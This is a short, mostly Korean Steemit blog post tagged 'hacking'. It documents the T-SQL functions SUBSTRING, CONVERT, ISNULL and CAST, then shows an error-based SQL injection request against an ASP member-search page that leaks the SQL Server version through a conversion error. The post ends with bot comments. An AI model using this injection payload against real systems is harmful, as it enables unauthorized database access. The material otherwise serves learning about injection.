Transact-SQL SQL Inejction

in #hacking7 years ago

Syntax for SUBSTRING:
SUBSTRING (value_expression ,start_expression ,length_expression )

ex) SELECT x = SUBSTRING('abcdef', 2, 3);
x


bcd

value_expression
character, binary, text, ntext 또는 image식입니다.

start_expression
반환된 문자가 시작되는 위치를 지정하는 정수 또는 bigint 식입니다. start_expression이 1보다 작으면 반환되는 식은 value_expression에 지정된 첫 번째 문자에서 시작합니다. 이 경우 반환되는 문자 수는 start_expression + length_expression – 1의 합 또는 0의 최대값입니다. start_expression이 값 식의 문자 수보다 크면 길이가 0인 식이 반환됩니다.

length_expression
반환될 value_expression의 문자 수를 지정하는 양의 정수 또는 bigint 식입니다. length_expression이 음수이면 오류가 발생하면서 문이 종료됩니다. start_expression과 length_expression의 합계가 value_expression의 문자 수보다 크면 start_expression에서 시작하는 전체 값 식이 반환됩니다.

===============================================================
Syntax for CONVERT:
CONVERT ( data_type [ ( length ) ] ,expression [ ,style ] )

Expression
모든 유효한 SQL Server Compact 3.5 식입니다. 자세한 내용은 식(SQL Server Compact)을 참조하십시오.
Style
datetime 또는 smalldatetime 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar, nvarchar 데이터 형식)로 변환하는 데 사용되는 날짜 형식의 스타일 또는 float, real, money 또는 smallmoney 데이터를 문자 데이터(nchar, nvarchar, char, varchar, nchar, nvarchar 데이터 형식)로 변환하는 데 사용되는 문자열 형식의 스타일입니다. style이 NULL이면 결과도 NULL이 반환됩니다.

===============================================================
Syntax for ISNULL:
ISNULL ( check_expression , replacement_value )

check_expression
NULL 여부를 검사할 식입니다. check_expression은 모든 형식을 사용할 수 있습니다.

replacement_value
check_expression이 NULL일 경우 반환할 식입니다. replacement_value는 암시적으로 check_expresssion 형식으로 변환할 수 있는 형식이어야 합니다.

===============================================================
Syntax for CAST:
CAST ( expression AS data_type [ (length ) ])

expression
유효한 식입니다.

data_type
대상 시스템에서 제공하는 데이터 형식은 bigint입니다. 사용자 정의 데이터 형식은 사용할 수 없습니다. 사용 가능한 데이터 형식에 대한 자세한 내용은 데이터 형식을 참조하십시오.

Length
nchar, nvarchar, char, varchar, binary 또는 varbinary 데이터 형식의 옵션 매개 변수입니다.

===============================================================
GET /web/member_search.asp user_id=test' AND 8679=CONVERT(INT,(:jax:(SELECT SUBSTRING((ISNULL(CAST(@@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,100)):qkn:)) AND 'xSIA'='xSIA

=>|8|80040e07|Syntax_error_converting_the_nvarchar_value_':jax:Microsoft_SQL_Server__2000_-8.00.194(Intel_X86)_Aug__6_2000_00:57:48__Copyright(c)_1988-2000_M:qkn:'_to_a_column_of_data_type_int. 500
출처:Transact-SQL SQL Inejction

Sort:  

Hi! I am a robot. I just upvoted you! I found similar content that readers might be interested in:
http://totoriver.egloos.com/3351022

Congratulations @totoriverce! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 1 year!

Click here to view your Board

Support SteemitBoard's project! Vote for its witness and get one more award!

Congratulations @totoriverce! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 2 years!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!